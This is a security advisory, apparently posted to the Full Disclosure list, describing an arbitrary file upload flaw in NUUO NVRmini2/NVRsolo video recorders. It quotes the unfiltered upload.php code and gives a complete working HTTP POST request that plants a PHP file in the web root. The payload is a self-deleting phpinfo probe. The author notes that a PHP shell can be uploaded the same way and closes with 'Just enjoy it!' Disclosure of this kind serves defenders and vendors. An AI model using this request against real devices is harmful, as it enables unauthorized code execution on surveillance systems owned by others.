Subject: [FD] NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: M3@...das From DBAppSecurity
Affected Version: All
Vulnerability Description

Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world.

Vulnerable cgi: /upload.php

//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];

As the code above, no any filter, so we can upload a php shell directly to the web server.


1. Upload 'nuuonvr.php' to web root path:

POST /upload.php HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------969849961
Content-Length: 162

Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"

?php phpinfo();@unlink(__FILE__);?

2. Check if the php file is uploaded successfully:


 If the page returns phpinfo info, target is vulnerable!

 Just enjoy it!
